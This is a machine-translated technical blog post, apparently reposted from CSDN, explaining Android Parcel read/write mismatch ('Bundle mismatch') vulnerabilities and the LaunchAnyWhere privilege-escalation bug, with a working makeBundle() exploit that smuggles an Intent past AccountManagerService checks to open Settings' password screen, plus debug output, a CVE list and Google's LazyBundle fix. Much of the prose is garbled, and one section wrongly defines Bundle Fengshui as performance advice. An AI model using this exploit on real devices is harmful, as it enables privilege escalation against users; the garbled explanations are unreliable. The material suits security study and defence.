Bundle Fengshui - Android パーセルのシリアライゼーションとデシリアライゼーションの不一致シリーズの脆弱性

序文

Screenshot_20230414163411645_com.ss.android.article.newsedit.jpg

2023 年には、有名なインターネット メーカーが引き続き AndroidOEM関連の新しい脆弱性を掘り起こし、App現在の市場の主流の携帯電話システムに対する脆弱性攻撃を公開リリースで実現するでしょう。

以下の説明はすべて、現時点で数億台の携帯電話で発生している実際のケースからのものです。関連する機密情報が処理されました。

一見無害Appに見えるが、インターネットBundle 风水 - Android Parcel 序列化与反序列化不匹配系列漏洞メーカー0day/Nday 攻击が使用した最初のハッキング手法。StartAnyWhere

この記事を読む前に、launchAnyWhere脆弱性と以下を理解してくださいBundle数据结构和反序列化

launchAnyWhere: アクティビティ コンポーネントの権限バイパスの脆弱性分析

バンドルのデータ構造と逆シリアル化の分析

バンドル風水とは

Bundle風水 ( Bundle Fengshui) は、AndroidアプリケーションBundleクラスを使用してデータを転送する場合、データ転送プロセスにおけるパフォーマンスの問題を回避するために、いくつかの最適化手法に注意を払う必要があることを意味します。

Bundleこのクラスはキーと値のペアに基づいてデータを格納し、複数のデータ型の転送をサポートしているため、使用する際には次の点に注意する必要があります。

大量のデータを渡す場合は使用しないでくださいBundle: 大量のデータを転送する必要がある場合は、シリアル化など、他のより効率的な転送方法の使用を検討する必要がありますParcelable

シリアライゼーション and を避けるようにしてくださいParcelable: シリアライゼーション and は複雑なオブジェクトを渡すために使用できParcelableますが、パフォーマンスは低いため、できるだけ避ける必要があります。

適切なデータ型を使用する: を使用してデータBundleを転送する、getInt()代わりgetLong()に使用するなど、実際のニーズに応じて適切なデータ型を使用する必要があります。

合理的なBundle使用API:Bundleクラスは、 、などAPIの複数の を提供します。これらは、実際のニーズに応じて使用する必要がありますputXXX()getXXX()API

Bundle大量のデータの受け渡しを使用しない:Bundleクラスは、大量のデータを渡すときにパフォーマンスの問題が発生する可能性があるため、できるだけ避ける必要があります。

つまり、Bundle風水は、Bundleクラスを。

関連記事: Android の Safer Parcel の紹介 - Black Hat

開発者がParcelオブジェクトを操作してデータの読み取りまたは書き込みを試みると、ある種のエラーが発生する可能性があります。開発者は、さまざまな理由で不注意であったり、適切な境界条件を考慮していなかったり、特定のコンテナーを理解していなかったりする可能性があります。同じオブジェクトを処理するときに、そこから書き込まれたバイト数が一致しないJavaという事実につながるエラーがあります.これは、デシリアライゼーションの脆弱性です.たとえば、次のコード:ParcelableParcelParcelable

public class MyClass implements Parcelable {
    
    
    int a;
    int b;

    protected MyClass(Parcel in) {
    
    
        a = in.readInt();
    }

    @Override
    public void writeToParcel(Parcel dest, int flags) {
    
    
        dest.writeInt(a);
        dest.writeInt(b);
    }

    @Override
    public int describeContents() {
    
    
        return 0;
    }

    public static final Creator<MyClass> CREATOR = new Creator<MyClass>() {
    
    
        @Override
        public MyClass createFromParcel(Parcel in) {
    
    
            return new MyClass(in);
        }

        @Override
        public MyClass[] newArray(int size) {
    
    
            return new MyClass[size];
        }
    };
}

明らかに、開発者は読み取り時に 4 バイトしか読み取れませんでしたが、書き込み時には 8 バイトを書き込みました! これは非常にばかげているように見えます。この種の脆弱性を記述する開発者はいないようですが、実際のコードでは、この例よりもはるかに複雑な状況が発生する可能性があるため、Google の開発者でさえ間違いを犯し、いくつかの抜け穴さえあります。コードを初めて見たとき、問題は見つかりませんでしたが、隠れた読み取りと書き込みの不一致の問題があることに気付くまでに数時間かかりました。

LaunchAnyWhere 脆弱性コード レビュー

launchAnyWhere: アクティビティ コンポーネントのパーミッション バイパスの脆弱性分析この記事では、この問題について簡単に説明します. AccountManagerService のプロセスにあります. パラメータを受け取ったAddAccount、検査はなく、内部のフィールドを直接取り出してインターフェイスを起動します. これは典型的な脆弱性です.その時の修正も非常に簡単でした. 中中を選択して受信した後, 取り出してみてください. このフィールドが存在する場合,解析された最終呼び出しコンポーネントが元の呼び出し元に属しているかどうかを確認してください.発信者として質問を開始しますsystem_serverBundleSettingsKEY_INTENT(intent)LaunchAnyWhereGooglesystem_serverBundleIntentIntentSettingsActivity

//android-28/com/android/server/accounts/AccountManagerService.java
public class AccountManagerService
        extends IAccountManager.Stub
        implements RegisteredServicesCacheListener<AuthenticatorDescription> {
    
    
    /****部分代码省略****/
    /** Session that will encrypt the KEY_ACCOUNT_SESSION_BUNDLE in result. */
    private abstract class StartAccountSession extends Session {
    
    
        /****部分代码省略****/

        @Override
        public void onResult(Bundle result) {
    
    
            Bundle.setDefusable(result, true);
            mNumResults++;
            Intent intent = null;
            //尝试从Bundle对象中取出KEY_INTENT
            if (result != null
                    && (intent = result.getParcelable(AccountManager.KEY_INTENT)) != null) {
    
    
                //对KEY_INTENT进行校验
                if (!checkKeyIntent(
                        Binder.getCallingUid(),
                        intent)) {
    
    
                    onError(AccountManager.ERROR_CODE_INVALID_RESPONSE,
                            "invalid intent in bundle returned");
                    return;
                }
            }
            /****部分代码省略****/
            sendResponse(response, result);
        }
    }

    private void sendResponse(IAccountManagerResponse response, Bundle result) {
    
    
        try {
    
    
            response.onResult(result);
        } catch (RemoteException e) {
    
    
            // if the caller is dead then there is no one to care about remote
            // exceptions
            if (Log.isLoggable(TAG, Log.VERBOSE)) {
    
    
                Log.v(TAG, "failure while notifying response", e);
            }
        }
    }

    private abstract class Session extends IAccountAuthenticatorResponse.Stub
            implements IBinder.DeathRecipient, ServiceConnection {
    
    
        /**
         * Checks Intents, supplied via KEY_INTENT, to make sure that they don't violate our
         * security policy.
         *
         * In particular we want to make sure that the Authenticator doesn't try to trick users
         * into launching arbitrary intents on the device via by tricking to click authenticator
         * supplied entries in the system Settings app.
         */
        protected boolean checkKeyIntent(int authUid, Intent intent) {
    
    
            intent.setFlags(intent.getFlags() & ~(Intent.FLAG_GRANT_READ_URI_PERMISSION
                    | Intent.FLAG_GRANT_WRITE_URI_PERMISSION
                    | Intent.FLAG_GRANT_PERSISTABLE_URI_PERMISSION
                    | Intent.FLAG_GRANT_PREFIX_URI_PERMISSION));
            long bid = Binder.clearCallingIdentity();
            try {
    
    
                PackageManager pm = mContext.getPackageManager();
                //解析出Intent最终调用的Activity
                ResolveInfo resolveInfo = pm.resolveActivityAsUser(intent, 0, mAccounts.userId);
                if (resolveInfo == null) {
    
    
                    return false;
                }
                ActivityInfo targetActivityInfo = resolveInfo.activityInfo;
                int targetUid = targetActivityInfo.applicationInfo.uid;
                PackageManagerInternal pmi = LocalServices.getService(PackageManagerInternal.class);
                // 判断是否是导出的System Activity或Activity所属应用是否和调用者同签名,满足其中之一则允许调用
                if (!isExportedSystemActivity(targetActivityInfo)
                        && !pmi.hasSignatureCapability(
                                targetUid, authUid,
                                PackageParser.SigningDetails.CertCapabilities.AUTH)) {
    
    
                    String pkgName = targetActivityInfo.packageName;
                    String activityName = targetActivityInfo.name;
                    String tmpl = "KEY_INTENT resolved to an Activity (%s) in a package (%s) that "
                            + "does not share a signature with the supplying authenticator (%s).";
                    Log.e(TAG, String.format(tmpl, activityName, pkgName, mAccountType));
                    return false;
                }
                return true;
            } finally {
    
    
                Binder.restoreCallingIdentity(bid);
            }
        }
    }
}

Settings受信後に送信するIntent呼び出しstartActivityForResultAsUser:

http://androidxref.com/4.4_r1/xref/packages/apps/Settings/src/com/android/settings/accounts/AddAccountSettings.java

public class AddAccountSettings extends Activity {
    
    
    /****部分代码省略****/
    private final AccountManagerCallback<Bundle> mCallback = new AccountManagerCallback<Bundle>() {
    
    
        @Override
        public void run(AccountManagerFuture<Bundle> future) {
    
    
            boolean done = true;
            try {
    
    
                Bundle bundle = future.getResult();
                //bundle.keySet();
                //获得KEY_INTENT
                Intent intent = (Intent) bundle.get(AccountManager.KEY_INTENT);
                if (intent != null) {
    
    
                    done = false;
                    Bundle addAccountOptions = new Bundle();
                    addAccountOptions.putParcelable(KEY_CALLER_IDENTITY, mPendingIntent);
                    addAccountOptions.putBoolean(EXTRA_HAS_MULTIPLE_USERS,
                            Utils.hasMultipleUsers(AddAccountSettings.this));
                    addAccountOptions.putParcelable(EXTRA_USER, mUserHandle);
                    intent.putExtras(addAccountOptions);
                    //启动KEY_INTENT代表的Activity
                    startActivityForResultAsUser(intent, ADD_ACCOUNT_REQUEST, mUserHandle);
                } else {
    
    
                    setResult(RESULT_OK);
                    if (mPendingIntent != null) {
    
    
                        mPendingIntent.cancel();
                        mPendingIntent = null;
                    }
                }
                if (Log.isLoggable(TAG, Log.VERBOSE)) Log.v(TAG, "account added: " + bundle);
            } catch (OperationCanceledException e) {
    
    
                if (Log.isLoggable(TAG, Log.VERBOSE)) Log.v(TAG, "addAccount was canceled");
            } catch (IOException e) {
    
    
                if (Log.isLoggable(TAG, Log.VERBOSE)) Log.v(TAG, "addAccount failed: " + e);
            } catch (AuthenticatorException e) {
    
    
                if (Log.isLoggable(TAG, Log.VERBOSE)) Log.v(TAG, "addAccount failed: " + e);
            } finally {
    
    
                if (done) {
    
    
                    finish();
                }
            }
        }
    };
}

Parcelable当時はこのパッチに問題はありませんでしたが、2017 年まで、 Google のパッチがチェックsystem_serverインIntentAIDLSettings、シリアライゼーションとデシリアライゼーションのプロセスも含むプロセス境界では、Parcelable反序列化漏洞的字节错位正確なレイアウトを通過すると、system_serverチェック時にIntentこれを見つけることができませんが、Intent配置ミスの後に研究者は、このエクスプロイト方法を と名付けましSettingsLaunchAnyWhereBundle mismatch

バンドルの不一致、Parcelable デシリアライゼーションの脆弱性の悪用方法

Androidフレームワークがどのように型を処理するかを理解したところでBundle、今度はエクスプロイトの開発方法に焦点を当てる必要がありますBundle mismatch.上記の脆弱性を例として取り上げ、サンプル コードを確認してみましょう:

public class MyClass implements Parcelable {
    
    
    int a;
    int b;

    protected MyClass(Parcel in) {
    
    
        a = in.readInt();
    }

    @Override
    public void writeToParcel(Parcel dest, int flags) {
    
    
        dest.writeInt(a);
        dest.writeInt(b);
    }

    @Override
    public int describeContents() {
    
    
        return 0;
    }

    public static final Creator<MyClass> CREATOR = new Creator<MyClass>() {
    
    
        @Override
        public MyClass createFromParcel(Parcel in) {
    
    
            return new MyClass(in);
        }

        @Override
        public MyClass[] newArray(int size) {
    
    
            return new MyClass[size];
        }
    };
}

この例では、読み取りは 4 バイト、書き込みは 8 バイトです.次に、後半の 4 バイトを全体の使用率のコアと見なします.上記の Bundle 形式の解析ロジックによると、シリアル化の際に 0 を書き込んだ後、今度は 4 バイトを読みますが、この 0 はどこに行くのでしょうか?

答えは、彼は次の 1 つとして存在する必要があるということでありBundle key、私たちが知っている始まりはkey string最初に文字列の長さとしてreadString1 を読み取ることです。int後ろの 0 は文字列の長さと見なされ、長さ 0 の文字列です. 文字列の長さフィールドnull.null-1

this.b前に書かれた 0に加えて、次の 4 バイトpaddingが存在することがわかりました。ここで別の型フィールドに入力する必要があります, ここで選択したものはVAL_BYTEARRAY13 です. バイト配列の長さと内容は後でレイアウトする必要があります. これは転位前のロジックと組み合わせる必要があります. 慎重にデバッグした後、私は与える 答えは次のとおりです(0の置き忘れを除く):

悪意のあるバンドルを構築する

public Bundle makeBundle() {
    
    
    Bundle bundle = new Bundle();
    Parcel bndlData = Parcel.obtain();
    Parcel exp = Parcel.obtain();
    exp.writeInt(3); // bundle key count
    //byte[] key1Name = {0x00};//第一个元素的key我们使用\x00,其hashcode为0,我们只要布局后续key的hashcode都大于0即可
    //String mismatch = new String(key1Name);
    String mismatch = "mismatch";//后续元素的hashcode必须大于mismatch的hashcode
    exp.writeString(mismatch);
    exp.writeInt(4); // VAL_PARCELABLE
    exp.writeString("com.tzx.launchanywhere.MyClass"); // class name
    // 这里按照错位前的逻辑开发,错位后在这个4字节之后会多出一个4字节的0
    exp.writeInt(0);
    /**********************恶意构造的内容start*********************************/
    byte[] key2key = {
    
    13, 0, 8};
    String key2Name = new String(key2key);
    // 在错位之后,多出的0作为了新的key的字符串长度,并且writeString带着的那个长度=3会正常填充上padding那个位置。使得后续读取的类型为VAL_BYTEARRAY(13),前面的0用于补上4字节的高位。而8则是字节数组的长度了。
    //简单来说就是13和0这俩个字符的4个字节构成13这个数字,字符8和终止符这两个字符构成8这个数字。
    exp.writeString(key2Name);//整体作为长度为3的key string
    // 在错位之后,这里的13和下面的值是作为8字节的字节数组的一部分
    exp.writeInt(13);//这里的13则也是巧妙地被解析成了VAL_BYTEARRAY(13)
    int intentSizeOffset = exp.dataPosition();
    // 在错位之后上面的13和这里的值就会作为8字节的字节数组,后续就会正常解析出intent元素了,就成功绕过补丁
    int evilObject = -1;//这里应为字节数组的长度,我们填写为intent元素所占用的长度,即可将intent元素巧妙地隐藏到字节数组中(此值被Intent长度覆盖)
    exp.writeInt(evilObject);
    int intentStartOffset = exp.dataPosition();
    /**********************恶意构造的内容end*********************************/
    /**********************intent内容start*********************************/
    exp.writeString(AccountManager.KEY_INTENT);
    exp.writeInt(4);// VAL_PARCELABLE
    //可以直接构造Intent放在exp中,此处为了显示构造过程,将Intent字段逐一放入exp中
    //Intent intent = new Intent(Intent.ACTION_RUN);
    //intent.setFlags(Intent.FLAG_ACTIVITY_NEW_TASK);
    //intent.setComponent(new ComponentName("com.android.settings", "com.android.settings.password.ChooseLockPassword"));
    //exp.writeParcelable(intent, 0);
    exp.writeString("android.content.Intent");// name of Class Loader
    exp.writeString(Intent.ACTION_RUN); // Intent Action
    Uri.writeToParcel(exp, null); // Uri is null
    exp.writeString(null); // mType is null
    //exp.writeString(null); // mIdentifier is null android28没有该字段
    exp.writeInt(Intent.FLAG_ACTIVITY_NEW_TASK); // Flags
    exp.writeString(null); // mPackage is null
    exp.writeString("com.android.settings");
    exp.writeString("com.android.settings.password.ChooseLockPassword");
    exp.writeInt(0); //mSourceBounds = null
    exp.writeInt(0); // mCategories = null
    exp.writeInt(0); // mSelector = null
    exp.writeInt(0); // mClipData = null
    exp.writeInt(-2); // mContentUserHint
    exp.writeBundle(null);
    /**********************intent内容end*********************************/

    int intentEndOffset = exp.dataPosition();
    //将指针设置在intent数据之前,然后写入intent的大小
    exp.setDataPosition(intentSizeOffset);
    int intentSize = intentEndOffset - intentStartOffset;
    exp.writeInt(intentSize);
    Log.d("tanzhenxing33", "intentSize=" + intentSize);
    //写完之后将指针重置回原来的位置
    exp.setDataPosition(intentEndOffset);

    // 最后一个元素在错位之前会被当成最后一个元素,错位之后就会被忽略,因为前面已经读取的元素数已经足够
    String key3Name = "Padding-Key";
    //String key3Name = "padding";//hashcode排序失败
    exp.writeString(key3Name);
    exp.writeInt(-1);//VAL_NULL

    int length = exp.dataSize();
    bndlData.writeInt(length);
    bndlData.writeInt(0x4c444E42);//魔数
    bndlData.appendFrom(exp, 0, length);//写入数据总长度
    bndlData.setDataPosition(0);
    Log.d("tanzhenxing33", "length=" + length);
    bundle.readFromParcel(bndlData);
    return bundle;
}

上記のコードの到着をシリアライズBundleおよびデシリアライズして、内部の和の型をチェックしますkey::構築されたばかりです; Value:カーネル送信の 2 番目の到着です
mainBundleActivity
TestBundleMismatchResultActivityActivity

D/tanzhenxing33: intentSize=324
D/tanzhenxing33: length=480
D/tanzhenxing33: file =/storage/emulated/0/Android/data/com.tzx.launchanywhere/cache/obj.pcl
D/tanzhenxing33: MyClass:Parcel:100
D/tanzhenxing33: main key = mismatch com.tzx.launchanywhere.MyClass
D/tanzhenxing33: main key = � [B
D/tanzhenxing33: main key = Padding-Key NULL
D/tanzhenxing33: MyClass:writeToParcel
D/tanzhenxing33: onCreate:TestBundleMismatchResultActivity
D/tanzhenxing33: MyClass:Parcel:100
D/tanzhenxing33: TestBundleMismatchResultActivity key = mismatch com.tzx.launchanywhere.MyClass
D/tanzhenxing33: TestBundleMismatchResultActivity key = intent android.content.Intent
D/tanzhenxing33: TestBundleMismatchResultActivity key =  [B
D/tanzhenxing33: result != null,Intent { act=android.intent.action.RUN flg=0x10000000 cmp=com.android.settings/.password.ChooseLockPassword }

構築されたばかりのものを見ることができますBunlde

  • mismatchそれに対応してkey、それはタイプValueです。com.tzx.launchanywhere. MyClass
  • それに対応してkey、これは配列Valueです。Byte
  • Padding-Keyそれに対応してkey、それValueNULL;

一度シリアル化および逆シリアル化Bundle:

  • mismatchそれに対応してkey、それはタイプValueです。com.tzx.launchanywhere. MyClass
  • intentそれに対応してkey、それはタイプValueです。android.content.Intent
  • 空の文字列に対応しkey配列Valueです。Byte

バンドル バイナリ データ分析

実際、上記の内容は、Bundle バイナリ データの変更によって理解しやすくなっています。

バイナリ データを見る前に、 String の 4 バイト アラインメントについて説明しましょう。

文字列の 4 バイト アラインメント

コンピューターでは、ハードウェアのストレージ構造などの理由により、文字列型を含む多くのデータ型のメモリ レイアウトを揃える必要があります。
In a string, it is stored in bytes. 最適なメモリ アクセス パフォーマンスを実現するには、通常、文字列の各文字を 4 バイトのメモリ アドレスに格納する必要があります。
したがって、文字列の長さが 4 の倍数でない場合、4 バイトのアラインメントの要件を満たすために、パディングのために文字列の末尾に余分な null バイトが追加されます。たとえば、文字列の長さが 5 の場合、最後に null バイトが追加されて 8 になり、4 バイトのアラインメント要件が満たされます。
多くの短い文字列では、実際に使用されるメモリがその長さよりも長くなる可能性があるため、この整列操作はメモリ使用量に一定の影響を与えることに注意してください。そのため、大量の文字列データを処理する場合は、メモリ不足などの問題を避けるために、メモリの使用に注意する必要があります。

ファイルに書き込まれたパーセル内のデータ

Parcel表示用にデータをファイルに書き込みます

private void writeByte(Parcel bndlData) {
    
    
    try {
    
    
        byte[] raw = bndlData.marshall();
        File file = new File(getExternalCacheDir(), "obj.pcl");
        if (file.exists()) {
    
    
            file.delete();
        } else {
    
    
            file.createNewFile();
        }
        FileOutputStream fos = new FileOutputStream(file.getAbsolutePath());
        fos.write(raw);
        fos.close();
    } catch (Exception e) {
    
    
        e.printStackTrace();
    }
}

バイナリを表示

書き込まれたファイルはバイナリ ファイルです。od次のコマンドで表示できます。

od -tx1 obj.pcl

ツールを使用して表示することもできますhexfiend。ダウンロード リンクはhttps://hexfiend.com/です。

または、関連するプラグインをvs cdoeインストールして直接表示します。hex

データ分析結果

構築された悪性Bundleデータ分析結果

ここに画像の説明を挿入

構築された悪意のあるBundleデータは、シリアライズとデシリアライズを通じて一度分析されます

ここに画像の説明を挿入

最初のBundleデータ分析グラフと比較すると、赤いボックス内のデータ分析結果にのみ注意を払う必要があります。

  1. 1 回のシリアル化の後、もう 1 回0MyClassが書き込まれます。int
  2. この 0 は秒の長さとして使用されますkey
  3. 前のwriteStringターミネータとバイト アラインされた 4 バイトがlength0の名前として使用されますkey
  4. 前に書き込まれた{13, 0, 8}最初の 4 バイトはデータ型 ( =13)0の長さとして使用され、次の 8 およびバイト整列された 4 バイトは長さの長さとして使用され、その値は 8 に等しくなります。keyVAL_BYTEARRAYByteArray
  5. 以前に書き込まれた長さ ( VAL_BYTEARRAY=13) と、Intentこれらの 8 バイトの長0keyValue;
  6. 次の読み取りの長さはkey6 で、key名前はintent;
  7. 最後の要素は、既に読み取られた要素の数が十分であるため、誤って配置された後は無視されます。

バグの修正

上記の脆弱性の修復は非常に直感的であるように思われます。MyClassクラス。しかし実際には、この種の脆弱性は孤立したケースではなく、歴史的に、コード作成者の不注意により、読み取りと書き込みの不一致によって引き起こされる多くの権限昇格の脆弱性がありました。

CVE-2017-0806 GateKeeperResponse
CVE-2017-0664 AccessibilityNodelnfo
CVE-2017-13288 PeriodicAdvertisingReport
CVE-2017-13289 ParcelableRttResults
CVE-2017-13286 OutputConfiguration
CVE-2017-13287 VerifyCredentialResponse
CVE-2017-13310 ViewPager’s SavedState
CVE-2017-13315 DcParamObject
CVE-2017-13312 ParcelableCasData
CVE-2017-13311 ProcessStats
CVE-2018-9431 OSUInfo
CVE-2018-9471 NanoAppFilter
CVE-2018-9474 MediaPlayerTrackInfo
CVE-2018-9522 StatsLogEventWrapper
CVE-2018-9523 Parcel.wnteMapInternal0
CVE-2021-0748 ParsingPackagelmpl
CVE-2021-0928 OutputConfiguration
CVE-2021-0685 ParsedIntentInfol
CVE-2021-0921 ParsingPackagelmpl
CVE-2021-0970 GpsNavigationMessage
CVE-2021-39676 AndroidFuture
CVE-2022-20135 GateKeeperResponse
…

もう 1 つの修正案は、TOCTOU脆弱性、つまり、チェックして使用する逆シリアル化オブジェクトが同じであることを確認することですが、この修正は一時的な解決策であり、根本的な原因ではなく、攻撃者が他の攻撃経路を見つけて、それらをバイパスします。

したがって、この種の無限の問題を完全に解決するために、Google単純で粗雑な徐放ソリューションが提案されています。つまり、Bundleクラス。Bundleそれ自体はArrayMap構造体ですが、デシリアライズ時にそのうちの 1 つだけを取得する必要がある場合でもkey、全体を再度デシリアライズBundleする。これの主な理由は、シリアル化されたデータ内の各要素のサイズが固定されておらず、要素の型によって決定されているためです. 以前のデータをすべて解析しないと、対象の要素がどこにあるのかわかりません.

この2021目的の頃、と呼ばれるプロジェクトAOSPBundle 提出され主な考え方は、 、 、などの構造体やコンテナーなど、可変長のカスタム型の場合、シリアル化中に対応するデータのサイズがヘッダーに追加されるということです。このように、逆シリアル化中にこれらのタイプのデータに遭遇した場合、ヘッダーをチェックするだけで、これらの要素の解析を選択的にスキップできます. このときがは、特定のデータを逆シリアル化するために実際に使用されます。LazyBundle(9ca6a5)patchParcelableSerializableListsMapLazyValue

これによりpatchBundle 风水攻撃をある程度緩和することができます。また、Parcelデータが。前のBundle構文解析、sizeメソッドのみが呼び出された場合でも、すべての要素の構文解析がトリガーされ、例外が発生します。このpatchにはパラメータunparcelも追加されますそうであれば、各要素は従来の方法で解析されます。それ以外の場合、の解析はスキップされます。booleanitemwisetrueLazyValue

興味のある方は、patch対応する提出記録、LazyBundle(9ca6a5)を読むことができます。

対応する変更は、Android13 のソース コードにも見られます: android13 の BaseBundle.java

//android-33/android/os/Parcel.java
public final class Parcel {
    
    
  /****部分代码省略****/
  @Nullable
  public Object readLazyValue(@Nullable ClassLoader loader) {
    
    
      int start = dataPosition();
      int type = readInt();
      if (isLengthPrefixed(type)) {
    
    
          int objectLength = readInt();
          int end = MathUtils.addOrThrow(dataPosition(), objectLength);
          int valueLength = end - start;
          setDataPosition(end);
          return new LazyValue(this, start, valueLength, type, loader);
      } else {
    
    
          return readValue(type, loader, /* clazz */ null);
      }
  }
  public final void writeValue(@Nullable Object v) {
    
    
    if (v instanceof LazyValue) {
    
    
        LazyValue value = (LazyValue) v;
        value.writeToParcel(this);
        return;
    }
    int type = getValueType(v);
    writeInt(type);
    if (isLengthPrefixed(type)) {
    
    
        // Length
        int length = dataPosition();
        writeInt(-1); // Placeholder
        // Object
        int start = dataPosition();
        writeValue(type, v);
        int end = dataPosition();
        // Backpatch length
        setDataPosition(length);
        writeInt(end - start);
        setDataPosition(end);
    } else {
    
    
        writeValue(type, v);
    }
  }
  private boolean isLengthPrefixed(int type) {
    
    
    // In general, we want custom types and containers of custom types to be length-prefixed,
    // this allows clients (eg. Bundle) to skip their content during deserialization. The
    // exception to this is Bundle, since Bundle is already length-prefixed and already copies
    // the correspondent section of the parcel internally.
    switch (type) {
    
    
        case VAL_MAP:
        case VAL_PARCELABLE:
        case VAL_LIST:
        case VAL_SPARSEARRAY:
        case VAL_PARCELABLEARRAY:
        case VAL_OBJECTARRAY:
        case VAL_SERIALIZABLE:
            return true;
        default:
            return false;
    }
  }
}

LaunchAnyWhere コード アドレス

記事はここですべて説明します。他に連絡が必要な場合は、メッセージを残してください〜!

参考記事:

Parcelable デシリアライゼーションの脆弱性とバンドルの不一致について話す

Bundle Fengshui - Android のシリアライゼーションとデシリアライゼーションの不一致脆弱性詳細解説

Android デシリアライゼーションの脆弱性 攻撃と防御の歴史

おすすめ

転載: blog.csdn.net/stven_king/article/details/130360390